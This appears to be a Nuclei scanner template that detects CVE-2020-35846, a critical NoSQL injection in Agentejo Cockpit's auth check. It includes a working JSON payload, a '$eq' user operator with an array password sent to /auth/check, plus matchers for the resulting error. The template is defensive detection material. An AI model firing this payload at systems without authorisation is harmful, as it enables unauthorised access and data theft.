id: CVE-2020-35846 info: name: Agentejo Cockpit < 0.11.2 - NoSQL Injection author: dwisiswant0 severity: critical description: Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value. impact: | Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or data manipulation. remediation: | Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate the vulnerability. reference: - https://swarm.ptsecurity.com/rce-cockpit-cms/ - https://nvd.nist.gov/vuln/detail/CVE-2020-35846 - https://getcockpit.com/ - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466 - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-35846 cwe-id: CWE-89 epss-score: 0.85589 epss-percentile: 0.98278 cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: agentejo product: cockpit tags: cve,cve2020,nosqli,sqli,cockpit,injection,agentejo http: - method: POST path: - "{{BaseURL}}/auth/check" body: | { "auth": { "user": { "$eq": "admin" }, "password": [ 0 ] } } headers: Content-Type: application/json matchers-condition: and matchers: - type: word part: body words: - "password_verify() expects parameter" - type: status status: - 200 # digest: 490a0046304402204a8f375d5021f6efd90a15bd87c08b3bd54e087eb96dad9914946bba6fc4d23b0220033793b52217434a0023d85f565bbbf7f50b3e0368cdbf40642597eb5f4defc3:922c64590222798bb761d5b6d8e72950